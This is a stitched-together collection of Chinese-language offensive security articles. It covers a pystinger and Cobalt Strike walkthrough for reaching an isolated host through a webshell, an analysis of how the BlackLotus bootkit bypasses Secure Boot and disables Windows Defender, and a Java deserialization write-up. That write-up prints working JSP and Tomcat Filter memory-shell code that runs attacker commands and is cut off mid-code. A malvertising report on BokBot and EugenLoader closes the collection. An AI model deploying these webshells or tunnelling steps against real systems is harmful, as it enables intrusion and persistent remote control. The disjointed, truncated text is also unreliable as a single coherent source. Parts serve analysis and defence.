2020-01-06 21:12:47,698 - WARNING - 111 - LoopThread start
2020-01-06 21:12:47,703 - WARNING - 502 - socks4a server start on 127.0.0.1:60000
2020-01-06 21:12:47,703 - WARNING - 509 - Socks4a ready to accept
  • cobalt strike添加监听,端口选择RAT Config中的Handler/LISTEN中的端口(通常为60020),beacons为192.168.3.11(example.com的内网IP地址)
  • 生成payload,上传到主机运行后即可上线
  • 横向移动到其他主机时可以将payload指向192.168.3.11:60020即可实现出网上线

定制Header及proxy

  • 如果webshell需要配置Cookie或者Authorization,可通过--header参数配置请求头
--header "Authorization: XXXXXX,Cookie: XXXXX"
  • 如果webshell需要通过代理访问,可通过--proxy设置代理
--proxy "socks5:127.0.0.1:1081"

测试

攻击机:192.168.1.89

假设我们在拿下一台目标主机,但是无法连接外网。

image-20220517144317558.png

使用 pystinger 工具进行 CS 上线,下载地址,通过 webshell 实现内网 SOCK4 代理,端口映射可以使目标不出网情况下在 CS 上线。

首先上传对应版本脚本到目标服务器。

image-20220517144354177.png

stinger_server.exe上传到目标服务器,蚁剑/冰蝎执行start stinger_server.exe启动服务端

image-20220517144723957.png

image-20220517144741452.png

stinger_client 上传到 teamserver 服务器,-w 指定 proxy 的 url 地址运行。

chmod +x stinger_client
./stinger_client -w http://192.168.1.70/proxy.php -l 127.0.0.1 -p 60000

image-20220517144922515.png

CS 新建监听器,设置为目标机器的内网 IP,端口默认 60020。(teamserver 服务器和执行 stinger_client 应为同一台服务器)

image-20220517145024937.png

生成木马,上传目标服务器并执行。可看到 CS 有新上线主机。

image-20220517145046489.png


转自于原文链接:https://forum.butian.net/share/1644

繞過安全啟動並建立持久性在本部分中,我們將詳細了解BlackLotus如何在啟用UEFI Secure Boot的系統上實現持久性。由於我們將要描述的執行鏈非常複雜,我們將首先解釋基本原理,然後深入了解技術細節。

簡而言之,該過程包括兩個關鍵步驟:

利用CVE-2022-21894繞過安全啟動功能並安裝bootkit。這允許在早期啟動階段任意執行代碼,此時平台仍然由固件擁有,UEFI啟動服務功能仍然可用。這使得攻擊者可以在沒有物理訪問權限的情況下,在啟用了UEFI Secure Boot的設備上做許多不應該做的事情,例如修改僅用於啟動服務的NVRAM變量。這就是攻擊者在下一個步驟中為bootkit設置持久性所利用的。通過將自己的MOK寫入MokList來設置持久性,Boot僅服務NVRAM變量。這樣,它可以使用合法的Microsoft-signedshim加載其自簽名(由寫入MokList的密鑰的私鑰簽名)UEFIbootkit,而不是在每次啟動時利用該漏洞。有關這一點的更多信息,請參閱Bootkit持久性部分。

為了使下面兩部分的分析更容易,研究人員將遵循執行圖(下圖)中所示的步驟。

7.png

繞過安全啟動並使用MOK設置持久性

利用CVE-2022-21894為了繞過安全啟動,BlackLotus使用baton drop漏洞(CVE-2022-21894):安全啟動安全功能繞過漏洞。儘管這個漏洞對系統安全影響很大,但它並沒有得到應有的重視。儘管微軟在2022年1月的更新中修復了該漏洞,但由於受影響的二進製文件仍未添加到UEFI取消列表中,因此攻擊者仍有可能利用該漏洞。因此,攻擊者可以將他們自己的易受攻擊的二進製文件副本帶到受害者的設備上,以利用此漏洞並繞過最新UEFI系統上的安全啟動。

此外,自2022年8月以來,針對該漏洞的概念證明(PoC)漏洞已公開可用。考慮到第一次BlackLotus VirusTotal提交的日期,惡意軟件開發人員可能只是根據他們的需要調整了可用的PoC,而不需要深入了解此漏洞的工作原理。

讓我們先簡單介紹一下該漏洞,主要是與PoC一起發佈在GitHub上的文章中的關鍵點:

受影響的Windows啟動應用程序(如bootmgr.efi、hvloader.efi、winload.efi…)允許在應用程序加載序列化安全啟動策略之前,使用truncatememory BCD啟動選項從內存中刪除該策略。

這允許攻擊者使用其他危險的BCD選項,如bootdebug、testsigning或nointegridchecks,從而破壞安全啟動。

有多種方法可以利用此漏洞——其中三種方法已發佈在PoC存儲庫中。

例如,其中一個PoC顯示瞭如何利用它使合法的hvloader.efi加載任意的自簽名mcupdate_

現在,我們繼續介紹BlackLotus如何利用此漏洞:

1.安裝程序重新啟動機器後,UEFI固件將繼續加載第一個啟動選項。對於Windows系統,默認情況下,第一個啟動選項是位於ESP上ESP:/efi/Microsoft/boot文件夾中的bootmgfw.efi。這一次,固件沒有執行原始受害者的bootmgfw.efi(安裝程序以前將其重命名為winload.efi),而是執行安裝程序部署的易受攻擊的啟動。

2.執行bootmgfw.efi後,它將加載BCD啟動選項,該選項先前由安裝程序修改。下圖顯示了合法BCD和修改後BCD的比較。

3.如下圖所示(路徑以綠色劃線),合法的Windows Boot Manager通常會將Windows OS加載程序(\Windows\system32\winload.efi)作為默認啟動應用程序加載。但這一次,使用修改後的BCD,它繼續加載易受攻擊的ESP:\system32\bootmgr.efi,避免內存BCD元素設置為值0x10000000,並且custom:22000023BCD指向另一個攻擊者存儲在ESP:\system32\BCD中的BCD。

8.png

合法BCD存儲(BEFORE)與BlackLotus安裝程序使用的存儲(AFTER)的比較

4.在下一步中,執行的ESP:\system32\bootmgr.efi加載位於ESP:\system32\BCD中的附加BCD。這個附加BCD的解析內容如下圖所示。

9.png

BlackLotus安裝程序釋放的第二個BCD——用於利用CVE-2022-21894

5.由於從上圖所示的BCD文件加載了選項,bootmgr.efi將繼續加載安裝程序部署的另一個易受攻擊的Windows啟動應用程序ESP:\system32\hvloader.efi,即Windows Hypervisor Loader。更重要的是,在同一BCD文件中指定了其他BCD選項:

值設置為0x10000000的truncatememory;

nointegridchecks設置為Yes;

testsigning也設置為Yes;

此時就會發生意想不到的事情,由於序列化的安全啟動策略應該在0x10000000以上的物理地址中加載(因為前面步驟中使用了avoidlowmemory),指定truncatmemory元素將有效地刪除它。因此,中斷安全啟動並允許使用危險的BCD選項,如nointegritychecks或testsigning。通過使用這些選項,攻擊者可以使hvloader.efi執行自己的自簽名代碼。

6.為此,使用此PoC中描述的技巧,即在執行過程中,合法的hvloader.efi從

10.png

從合法的hvloader.efi反編譯BtLoadUpdateDll函數,負責加載mcupdate_*.dll

7.現在,隨著攻擊者自己的自簽名mcupdate*.dll被加載和執行,它將繼續執行這個鏈中的最後一個組件——一個嵌入式MokInstaller (UEFI應用程序)——參見圖10了解它是如何完成的。

11.png

Hex-Rays反編譯惡意自簽名mcupdate*.dll二進制代碼

Bootkit持久性現在,MokInstaller可以繼續設置持久性,方法是將攻擊者的MOK註冊到NVRAM變量中,並將合法的Microsoft簽名的shim二進製文件設置為默認啟動加載程序來繼續設置持久性。

shim是由Linux開發人員開發的第一階段UEFI啟動加載程序,用於使各種Linux發行版與UEFI Secure Boot一起工作。它是一個簡單的應用程序,其目的是加載、驗證和執行另一個應用程序,在Linux系統中,它通常是GRUB啟動加載程序。它的工作方式是,微軟只簽署一個shim, shim負責其餘的工作,它可以通過使用db UEFI變量中的密鑰來驗證第二階段啟動加載器的完整性,還可以嵌入自己的“允許”或“取消”項或哈希列表,以確保平台和shim開發人員(例如Canonical, RedHat等)都信任的組件被允許執行。除了這些列表之外,shim還允許使用用戶管理的外部密鑰數據庫,即MOK列表。該MOK數據庫存儲在名為MokList的僅啟動NVRAM變量中。在不利用上述漏洞的情況下,需要物理訪問才能在啟用UEFI Secure Boot的系統上對其進行修改(僅在啟動期間,在系統加載程序調用UEFI啟動服務函數ExitBootServices之前可用)。然而,通過利用此漏洞,攻擊者能夠繞過UEFI Secure Boot並在調用ExitBootServices之前執行自己的自簽名代碼,因此他們可以輕鬆註冊自己的密鑰(通過修改MokList NVRAM變量),使填充程序執行任何應用程序(由該註冊密鑰簽名),而不會導致安全違規。

12.jpg

MOK啟動過程

8.MokInstaller UEFI應用程序繼續為BlackLotus UEFIbootkit設置持久性,並通過以下方式覆蓋利用痕跡:

8.1 從安裝程序創建的備份中恢復受害者的原始BCD存儲,並將efi替換為合法的microsoft簽名shim,該shim先前由安裝程序放置到ESP:\system32\bootload.efi中。

8.2創建包含攻擊者自簽名公鑰證書的MokList NVRAM變量。請注意,此變量的格式與任何其他UEFI簽名數據庫變量(如db或dbx)的格式相同,它可以由零個或多個EFI_signature_LIST類型的簽名列表組成,如UEFI規範中所定義。

8.3 從攻擊者的ESP:\system32\文件夾中刪除涉及攻擊的所有文件。

最後,它會重新啟動計算機,使部署的shim執行安裝程序從\EFI\Microsoft\Boot\grub64.EFI中刪除自簽名bootkit,grub64.EFI通常是x86-64系統上shim執行的默認第二階段啟動加載程序。

13.png

Hex Rays反編譯代碼——MokInstaller UEFI應用程序為BlackLotus bootkit設置持久性

BlackLotus UEFIbootkit一旦配置了持久性,就會在每次系統啟動時執行BlackLotusbootkit。 bootkit的目標是部署一個內核驅動程序和一個最終的用戶模式組件——HTTP下載器。在執行過程中,它試圖禁用其他Windows安全功能——基於虛擬化的安全(VBS)和Windows Defender——以提高成功部署和隱形操作的機會。在詳細介紹如何實現之前,讓我們先了解一下內核驅動程序和HTTP下載器的基本知識:

內核驅動程序負責:

部署鏈的下一個組件—HTTP下載器;

在被終止運行的情況下保持加載器不被關閉;

防止從ESP中刪除bootkit文件;

如果HTTP下載器指示的話,執行額外的內核有效負載;

根據HTTP下載器的指示,卸載bootkit。

HTTP下載器負責:

與CC通信;

執行從CC收到的命令;

下載並執行從CC接收到的有效負載(支持內核有效負載和用戶模式有效負載)。

從安裝程序到HTTP下載器的完整執行流程(簡化後)如下圖所示。我們將在下一節中更詳細地描述這些步驟。

14.png

BlackLotus UEFIbootkit執行示意圖

BlackLotus執行流程執行步驟如下(這些步驟如下圖所示):

1.UEFI固件執行默認的Windows啟動選項,該選項通常存儲在\EFI\Microsoft\boot\bootmgfw.EFI中的文件。正上所述,MokInstaller二進製文件用一個合法的簽名shim替換了這個文件。

2.執行shim時,它讀取MokList NVRAM變量,並使用攻擊者先前存儲在其中的證書來驗證第二階段啟動加載程序——位於\EFI\Microsoft\Boot\grubx64.efi中的自簽名BlackLotus UEFI啟動程序。

3.驗證後,shim執行bootkit。

4.bootkit從創建僅啟動VbsPolicyDisable NVRAM變量開始。如本文所述,此變量在啟動期間由Windows OS加載程序評估,如果已定義,則不會初始化核心VBS功能,如HVCI和憑據保護。

5.在以下步驟中,bootkit繼續使用UEFIbootkit使用的通用模式。它攔截典型Windows啟動流中包含的組件的執行,例如Windows啟動管理器、Windows OS加載器和Windows OS內核,並將它們的一些功能掛鉤到內存中。另外,它還嘗試通過修復某些驅動程序來禁用Windows Defender。所有這些都是為了在系統啟動過程的早期階段實現有效負載的執行,並避免檢測。以下函數已掛鉤或修復:

5.1 bootmgfw.efi或bootmgr.efi中的ImgArchStartBootApplication:該函數通常由bootkit掛鉤,以捕捉Windows OS加載程序(winload.efi)加載到內存中但尚未執行的時刻——這是執行更多內存修復的正確時刻。

5.2 winload.efi中的BlImgAllocateImageBuffer:用於為惡意內核驅動程序分配額外的內存緩衝區。

5.3 winload.efi中的OslArchTransferToKernel:連接以捕捉系統內核和某些系統驅動程序已加載到內存中但尚未執行的時刻,這是執行更多內存修復的最佳時刻。下面提到的驅動程序在此掛鉤中進行了修復。下圖顯示了這個掛鉤中負責在內存中查找適當驅動程序的代碼。

5.4 WdBoot.sys和WdFilter.sys:BlackLotus修復了WdBoot.sys和WdFilter.sys(分別是Windows Defender ELAM驅動程序和Windows Defender文件系統篩選器驅動程序)的入口點,以立即返回。

5.5 disk.sys:bootkit將disk.sys驅動程序的入口點掛鉤,以便在系統初始化的早期階段執行BlackLotus內核驅動程序。

15.png

OslArchTransferToKernel掛鉤的反編譯代碼——修復Windows Defender驅動程序並蒐索disk.sys入口點

6.接下來,當系統內核執行disk.sys驅動程序的入口點時,已安裝的掛鉤會跳轉到惡意內核驅動程序入口點。惡意代碼反過來恢復原始disk.sys以使系統正常運行,並等待winlogon.exe進程啟動。

7.當惡意驅動程序檢測到winlogon.exe進程已啟動時,它會向其中註入並執行最終的用戶模式組件——HTTP下載器。

內核驅動程序內核驅動程序主要負責四個任務:

將HTTP下載器注入到winlogon.exe中,並在線程終止時重新註入它;

保護部署在ESP上的bootkit文件不被刪除;

解除用戶模式Windows Defender進程MsMpEngine.exe;

與HTTP下載器通信,並在必要時執行任何命令。

HTTP下載器持久性內核驅動程序負責部署HTTP下載程序。當驅動程序啟動時,它會等待名為winlogon.exe的進程啟動,然後再執行任何其他操作。進程啟動後,驅動程序解密HTTP下載程序二進製文件,將其註入winlogon.exe的地址空間,並在新線程中執行。然後,驅動程序會定期檢查線程是否仍在運行,並在必要時重複注入。如果驅動程序檢測到內核調試器,則不會部署HTTP下載程序。

保護ESP上的bootkit文件不被刪除為了保護ESP上的bootkit文件,內核驅動程序使用了一個簡單的技巧。它打開所有要保護的文件,複製並保存其句柄,並使用ObSetHandleAttributes內核函數將HandleFlags(OBJECT_HANDLE_flag_INFORMATION)參數內的ProtectFromClose標誌指定為1,從而保護句柄不被任何其他進程關閉。這將阻止任何刪除或修改受保護文件的嘗試。受保護的文件包括:

ESP:\EFI\Microsoft\Boot\winload.efiESP:\EFI\Microsoft\Boot\bootmgfw.efiESP:\EFI\Microsoft\Boot\grubx64.efi如果用戶試圖刪除這些受保護的文件,就會出現如下圖所示的情況。

16.png

試圖刪除受BlackLotus驅動程序保護的文件

作為另一層保護,如果用戶或安全軟件能夠取消設置保護標誌並關閉句柄,內核驅動程序將持續監視它們,如果句柄不再存在,則通過調用KeBugCheck(INVALID_kernel_HANDLE)函數來生成一個BSOD。

解除主Windows Defender進程內核驅動程序還試圖解除主Windows Defender進程MsMpEng.exe的防護。為此,它通過為每個進程設置SE_PRIVILEGE_REMOVED屬性來刪除所有進程的令牌權限。因此,Defender進程應該無法正確地完成其工作(例如掃描文件)。但是,由於該功能執行得很差,因此可以通過重新啟動MsMpEng.exe進程使其失效。

0x01 前言很多小伙伴做反序列化漏洞的研究都是以命令執行為目標,本地測試最喜歡的就是彈計算器,但沒有對反序列化漏洞進行深入研究,例如如何回顯命令執行的結果,如何加載內存馬。 (關注“Beacon Tower Lab”烽火台實驗室,為您持續輸出前沿的安全攻防技術)

在上一篇文章中↓↓↓

記一次反序列化漏洞的利用之路

遇到了一個實際環境中的反序列化漏洞,也通過調試最終成功執行命令,達到了RCE的效果。在實際的攻防場景下,能執行命令並不是最完美的利用場景,內存馬才是最終的目標。本篇文章就在此基礎上講一講如何進行命令回顯和加載內存馬。

0x02回顯在研究基於反序列化利用鏈的回顯實現之前,首先解決基於反序列化利用鏈的回顯實現,也就是在響應結果中輸出命令執行的結果。對PHP語言熟悉的小伙伴可能會覺得這並不算問題,直接echo不就行了,java裡面是不是也應該有類似的函數例如out.println()。 Java是一種面向對象的編程語言,所有的操作都是基於類和對象進行,如果要在頁面響應中輸出內容,必須要先有HttpServletResponse對象,典型的把命令執行結果響應到頁面的方式如圖2.1所示。

1679537651111929.png

圖2.1 通過HttpServletResponse對象輸出命令執行結果

從圖2.1可以看出最簡單的命令執行,也需要比較複雜的代碼邏輯,也就要求利用鏈中必須要支持執行複雜語句。並不是所有的ysoserial利用鏈都能達到回顯和

內存馬的效果,只有支持複雜語句的利用鏈才能回顯和內存馬,如表2.1所示。

表2.1 ysoserial利用鏈中對複雜語句的支持

1679537698187977.jpeg

我們先以CommonsBeanutils1利用鏈來進行分析,其他CommonsCollections利用鏈本質上是一樣的,CommonsBeanutils1鍊和CommonsCollections鏈最終都是xalan庫來動態加載字節碼,執行複雜語句。關於xalan利用鏈的分析網上有很多文章,這裡暫不做分析。

要實現反序列化利用鏈的結果回顯,最重要的是要獲取到HttpServletRequest對象和HttpServletResponse對象,根據目標環境的不同,獲取這兩個對象的辦法是不一樣的,如圖2.2,圖2.3所示。

1679537754866091.png

圖2.2 SpringBoot環境下獲取request和response對象

1679537779179682.png

圖2.3 SpringMVC環境下獲取request和response對象

不同的服務器獲取這兩個對象的方式不一樣,其他例如Weblogic、Jboss、Websphere這些中間件獲取這兩個對象的方式也不一樣,這種差異化極大的增加了反序列化回顯和內存馬實現的難度。

有沒有一種比較通用的辦法能夠獲取到request和response對象呢?答案是有的,基於Thread.CurrentThread()遞歸搜索可以實現通用的對象查找。目前測試環境是SpringMVC和SpringBOOT,其他環境暫未測試。

Thread.CurrentThread()中保存了當前線程中的全局信息,系統運行環境中所有的類對像都保存在Thread.CurrentThread()。用於回顯需要的request和response對象可以在Thread.CurrentThread()中找到;用於內存馬實現的StandardContext對像也可以找到。

遞歸搜索的思路就是遍歷Thread.CurrentThread()下的每一個字段,如果字段類別繼承自目標類(例如javax.servlet.http.HttpServletRequest),則進行標記,否則繼續遍歷。如圖2.3的方式是在已知目標類的位置獲取目標類對應對象的方式,我們的改進辦法是在未知目標類位置的情況下,通過遍歷的方式來發現目標類對象。

其中關鍵的代碼如圖2.4所示,完整的代碼見github項目地址。其中最關鍵的步驟是通過遞歸的方式來查找Thread.CurrentThread()的所有字段,依次判斷字段類型是否為javax.servlet.http.HttpServletRequest和javax.servlet.http.HttpServletResponse。

1679537821729281.png

圖2.4 通過遞歸方式來查找request和response對象

使用這種方式的好處是通用性高,而不需要再去記不同服務器下對象的具體位置。把這種方式保存為一條新的利用鏈CommonsBeanutils1Echo,然後就可以在兼容SpringMVC和SpringBoot的環境中使用相同的反序列化包,如圖2.5,圖2.6所示。

1679537849174356.png

圖2.5 生成payload

1679537888768042.png

圖2.6 使用生成的payload進行反序列化測試

0x03 內存馬內存馬一直都是java反序列化利用的終極目標,內存馬的實現方式有很多種,其中最常見的是基於Filter的內存馬,本文目標也是通過反序列化漏洞實現通用的冰蠍內存馬。

基於Filter型的內存馬實現步驟比較固定,如果是在jsp的環境下,可以使用下面的方式來生成內存馬。

%@ page import='java.io.IOException' %%@ page import='java.io.InputStream' %%@ page import='java.util.Scanner' %%@ page import='org.apache.catalina.core.StandardContext' %%@ page import='java.io.PrintWriter' %

% //創建惡意Servlet Servlet servlet=new Servlet() { @Override public void init(ServletConfig servletConfig) throws ServletException {

} @Override public ServletConfig getServletConfig() { return null; } @Override public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException { String cmd=servletRequest.getParameter('cmd'); boolean isLinux=true; String osTyp=System.getProperty('os.name'); if (osTyp !=null osTyp.toLowerCase().contains('win')) { isLinux=false; } String[] cmds=isLinux ? new String[]{'sh', '-c', cmd} : new String[]{'cmd.exe', '/c', cmd}; InputStream in=Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s=new Scanner(in).useDelimiter('\\a'); String output=s.hasNext() ? s.next() : ''; PrintWriter out=servletResponse.getWriter(); out.println(output); out.flush(); out.close(); } @Override public String getServletInfo() { return null; } @Override public void destroy() {

} };

%% //獲取StandardContext org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase=(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); StandardContext standardCtx=(StandardContext)webappClassLoaderBase.getResources().getContext();

//用Wrapper對其進行封裝org.apache.catalina.Wrapper newWrapper=standardCtx.createWrapper(); newWrapper.setName('pv587'); newWrapper.setLoadOnStartup(1); newWrapper.setServlet(servlet); newWrapper.setServletClass(servlet.getClass().getName());

//添加封裝後的惡意Wrapper到StandardContext的children當中standardCtx.addChild(newWrapper);

//添加ServletMapping將訪問的URL和Servlet進行綁定standardCtx.addServletMapping('/pv587','pv587');%

訪問上面的jsp文件,然後就可以刪除文件,訪問內存馬了,如圖3.1所示。

1679538018616480.png

圖3.1 通過jsp文件來實現內存馬

上面的代碼是最初級的內存馬實現,通過jsp文件來實現的命令執行的內存馬。由於本文的重點不是講內存馬的原理,所以代碼原理簡單在註釋中說明,如果需要詳細的原因可以參考其他專門講內存馬的文章。在反序列化環境下實現冰蠍的內存馬要比這個複雜很多,但是其中一些本質上的步驟是不變的。

內存馬實現種最關鍵的是要獲取StandardContext對象,然後基於這個對象來綁定Wrapper。不同的環境下獲取StandardContext對象的方式不一樣,與上面步驟回顯的方式一致,也可以通過遞歸搜索的方式從Thread.CurrentThread()中查找,把上面內存馬的實現放在遞歸搜索的模版中實現如下所示。

package ysoserial.template;

import org.apache.catalina.Context;import org.apache.catalina.core.ApplicationFilterConfig;import org.apache.catalina.core.StandardContext;import org.apache.catalina.deploy.FilterDef;import org.apache.catalina.deploy.FilterMap;

import javax.servlet.*;import java.io.IOException;import java.io.InputStream;import java.io.PrintWriter;import java.lang.reflect.Constructor;import java.util.HashSet;import java.lang.reflect.Array;import java.lang.reflect.Field;import java.util.*;

public class DFSMemShell {

private HashSet set=new HashSet(); private Object standard_context_obj; private Class standard_context_clazz=Class.forName('org.apache.catalina.core.StandardContext');

public DFSMemShell() throws Exception { StandardContext standardCtx=(StandardContext) standard_context_obj; FilterDef filterDef=new FilterDef(); filterDef.setFilterName('TestFilter'); filterDef.setFilter(new Filter() { @Override public void init(FilterConfig filterConfig) throws ServletException {

}

@Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { String cmd=servletRequest.getParameter('cmd'); boolean isLinux=true; String osTyp=System.getProperty('os.name'); if (osTyp !=null osTyp.toLowerCase().contains('win')) { isLinux=false; } String[] cmds=isLinux ? new String[]{'sh', '-c', cmd} : new String[]{'cmd.exe', '/c', cmd}; InputStream in=Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s=new Scanner(in).useDelimiter('\\a'); String output=s.hasNext() ? s.next() : ''; PrintWriter out=servletResponse.getWriter(); out.println(output); out.flush(); out.close();

}

@Override public void destroy() {

} }); standardCtx.addFilterDef(filterDef);

Constructor constructor=ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, filterDef.getClass()); constructor.setAccessible(true); ApplicationFilterConfig applicationFilterConfig=(ApplicationFilterConfig)constructor.newInstance(standardCtx, filterDef); Field field=standardCtx.getClass().getDeclaredField('filterConfigs'); field.setAccessible(true); Map applicationFilterConfigs=(Map) field.get(standardCtx); applicationFilterConfigs.put('TestFilter', applicationFilterConfig); FilterMap filterMap=new FilterMap(); filterMap.setFilterName('TestFilter'); filterMap.addURLPattern('/btltest'); //動態應用FilterMap standardCtx.addFilterMap(filterMap); }

public Object getStandardContext(){ return standard_context_obj; }

public void search(Object obj) throws IllegalAccessException { if (obj==null){ return; } if (standard_context_obj !=null){ return; } if (obj.getClass().equals(Object.class) ) { return; } if (standard_context_clazz.isAssignableFrom(obj.getClass())){ System.out.println('Found standardContext'); standard_context_obj=obj; return; } if (obj.getClass().isArray()) { for (int i=0; i Array.getLength(obj); i++) { search(Array.get(obj, i)); } } else { Queue q=getAllFields(obj); while (!q.isEmpty()) { Field field=(Field) q.poll(); field.setAccessible(true); Object fieldValue=field.get(obj); if(standard_context_clazz.isA

許多入侵和攻擊都是從終端被惡意軟件感染開始的。惡意軟件的傳播通常以誘騙某人打開一個可執行文件為手段,這些誘騙文件是良性的,例如一個常見的軟件實用程序,但實際上是惡意的。傳播惡意軟件最常見的方法之一是通過垃圾郵件,但還有其他方法,比如,一種長期使用的將惡意軟件植入系統的技術在去年年末重新出現。

“Malvertising”是惡意軟件和廣告的合成詞,其技術包括購買搜索引擎廣告,並在這些廣告中放置指向惡意網站的鏈接。自從與搜索相關的點擊付費(PPC)廣告出現以來,這種技術就一直被攻擊者使用,但最近不知出於什麼原因,這種技術被使用的頻率和數量出乎意料。接下來,我們將介紹惡意廣告是如何運作的,針對它的一些防禦措施,以及最近如何利用它來分發惡意軟件的例子。

PPC的工作原理谷歌的PPC廣告平台是攻擊者用來傳播惡意軟件的主要媒介。 Intel 471 曾詳細介紹過建立Google Ads活動的內容。這些文章介紹了很多關於這些攻擊者如何開展活動的信息,以及他們如何為自己的廣告獲得頂級搜索結果的一些理論。

谷歌的PPC廣告管理面板具有一個相當直觀的設計,允許用戶一目了然地查看他們的廣告活動統計數據。用戶可以查看他們當前的廣告、關鍵字、推薦、統計數據和每次優惠的總成本。用戶必須提供一個URL來創建廣告,顯示URL的路徑,提供優惠的描述,並為廣告製作一些標題。描述、標題和網站都被被納入谷歌用來計算廣告排名的公式中。

一旦創建了廣告,用戶可以設置廣告在PPC上花費的最大金額。廣告位的銷售採用了一種盲拍賣機制,廣告客戶可以出價高於競爭對手,但無法看到其他人對廣告位的出價。谷歌以前的廣告排名算法考慮的是廣告商為廣告植入排名的出價,然而,新系統綜合考慮了廣告出價、描述、標題和網站檢查。

一旦用戶創建了廣告並設定了投標價格,他們就可以開始使用Google Ads平台上的多種工具。通過設備定位,廣告商可以為只在平板電腦或手機等特定類型的設備上播放的廣告定價。

客戶可以在Google Ads面板的“受眾”選項卡中使用額外的目標定位。用戶可以監控點擊廣告的人的人口統計數據,創建有針對性的廣告,或排除某些人口統計數據,並針對特定類型的人,如在金融服務或酒店業工作的人。該平台還允許廣告商根據地理位置和受眾跟踪,或包括城市、州和郵政編碼在內的各種因素來定位客戶。

1.webp.jpg

2023年1月26日谷歌PPC廣告平台的廣告客戶目標選項的截圖

BokBotBokBot,也被稱為IcedID,是一種銀行木馬,也可以下載其他惡意軟件。 BokBot的開發人員與Conti勒索軟件組織和Trickbot(另一種用於傳播勒索軟件的銀行惡意軟件和殭屍網絡)一直有關聯。在過去的一年中,最初的訪問代理(IAB)越來越多地使用BokBot作為網關惡意軟件進行攻擊,以取代現已失效的BazarLoader或Trickbot家族。 2022年12月和2023年1月,BokBot運營商開始嘗試使用谷歌PPC廣告平台進行分發。

這些BokBot活動的流量分配系統(TDS)在谷歌搜索廣告引擎指向的登錄頁面上使用受害者和木馬過濾。此過濾確保連接客戶端不是來自虛擬專用網絡(VPN)IP地址,使用戶代理檢查並遵循超文本傳輸協議(HTTP)'GET'標頭條件。如果連接不符合條件,用戶不會被重定向到BokBot惡意登陸頁面,而是停留在廣告網站上,而廣告網站可能與目標應用程序或品牌無關。該網站通常與活動無關。符合目標標準的連接將被重定向到BokBot惡意登陸頁面,並且永遠不會看到廣告站點。

最近的BokBot活動偽裝成操作系統虛擬化平台Docker的廣告。惡意廣告包含拼寫錯誤的域名,並且似乎高於Docker的合法報價。一旦用戶點擊廣告鏈接,BokBot的第一個URL劫持域就會執行一些基本的木馬過濾,以確定廣告的觀看者是否是目標的合法受害者,而不是研究人員。如果基於用戶代理、用戶代理客戶端提示或地理位置的檢查失敗,Docker活動的登錄頁面將引導查看者進入一個關於如何設置和使用Docker的虛假教程。

2.webp.jpg

2023年1月26日,出現在合法Docker搜索結果和廣告之前的惡意Docker廣告截圖

BatLoader和EugenLoader/FakeBat惡意軟件加載器,也稱為“下載器(滴管)”,是系統上的初始感染,然後被攻擊者用來下載其他惡意代碼。 BatLoader於2022年2月被發現,是一種利用微軟軟件安裝程序(.msi)和PowerShell的加載器。

Intel 471最近發現,兩個不同的攻擊者正在通過不同的命令和控制(C2)基礎設施分發BatLoader。 Mandiant在2022年確定為BatLoader的活動涉及.MSI在安裝期間執行.BAT文件。然而,第二個活動不涉及.BAT文件的執行。相反,該惡意軟件有一個內嵌的PowerShell腳本,它會代替.BAT文件執行。由於這些差異,Intel 471分析師決定將第二次活動更名為EugenLoader,它也被稱為FakeBat。

由於之前的報告混合了EugenLoader和BatLoader,因此很難確定EugenLoaders何時首次出現。但它可能會在2022年11月或12月運行。在對EugenLoader的調查中,我們發現一個域名似乎被用作新活動的下載目的地。域的根目錄被錯誤地打開並顯示了EugenLoader活動的.MSI文件。如下圖所示,EugenLoader惡意軟件已被重命名為模擬已知軟件,如FileZilla、uTorrent和WinRAR等。

3.webp.jpg

可疑EugenLoader活動的域的根目錄處於打開狀態

在分發活動中,EugenLoader建立了一些域名,聲稱提供合法的流行軟件,但其實這是惡意軟件。

EugenLoader最活躍的惡意廣告活動之一是偽裝成WinRAR,這是一種用於壓縮和提取文件的流行軟件實用程序。雖然其他廣告活動似乎間歇性地將其廣告放在搜索結果的頂部,但WinRAR廣告活動沒有這樣的限制,這使得攻擊者能夠欺騙受害者不斷安裝EugenLoader。

EugenLoader還通過欺騙7-Zip(另一種流行的文件歸檔軟件)的惡意廣告活動進行分發。使用精心製作的谷歌搜索廣告,該活動能夠將其下載鏈接放置在7-Zip官方下載頁面之前,如下圖所示。

4.webp.jpg

有兩個PPC廣告提供7-Zip,但域名與官方項目無關

直到最近,惡意廣告還不是攻擊者首選的攻擊手段,與電子郵件垃圾郵件等傳統手段相比,它很少被使用。然而,EugenLoader背後的運營商能夠購買始終出現在谷歌第一搜索結果位置的廣告。惡意廣告技術有可能挑戰惡意軟件垃圾郵件(malspam)作為攻擊者首選載體的位置。

惡意軟件開發者投放惡意廣告有利有弊。首先,攻擊者可以通過廣告吸引尋找下載工具的用戶,出現在第一個搜索結果中意味著很有可能有人在沒有仔細查看域名的情況下點擊。隨後的登錄頁面看起來與合法登錄頁面完全相同,人們很可能會下載並安裝該工具。

這與垃圾郵件相比具有優勢,垃圾郵件可能會被安全工具捕獲並隔離,或者被發送到垃圾郵件文件夾,永遠不會被潛在受害者註意到。如果目標確實下載了它,攻擊者必須誘騙其打開,例如打開發票、點擊鏈接或運行可執行文件。但惡意廣告抓住了那些想下載並立即運行的人。

然而,惡意廣告的成本並不便宜。每次點擊點擊付費廣告的成本可能高達2至3美元。由於攻擊者不斷競標廣告位,這些行動也提高了合法廣告商的成本。有可能是惡意商家用偷來的信用卡信息來支付廣告費用。另外,攻擊者是如何為這些廣告買單的,這將是另一個值得研究的課題,它可能會挖掘出這些活動背後的團體。

在某些情況下,活動的成功與否可以衡量。一些惡意廣告將受害者引導到Bitbucket上的網站,這可能會顯示下載數量。其中一項活動的下載量超過3000次。按每次點擊2美元計算,投放廣告的人可能已經支付了多達6000美元,這表明攻擊者有經濟實力。在這些活動中發現的其他類型的惡意軟件包括RedLine等信息竊取軟件。惡意軟件經常阻礙VirusTotal提交。文件大小高達700 MB,這與滴管或加載器的典型大小相比非常大。 VirusTotal的文件大小限制為32 MB(最多可提交200 MB的文件),這意味著由分發的惡意文件不一定會有分析示例。

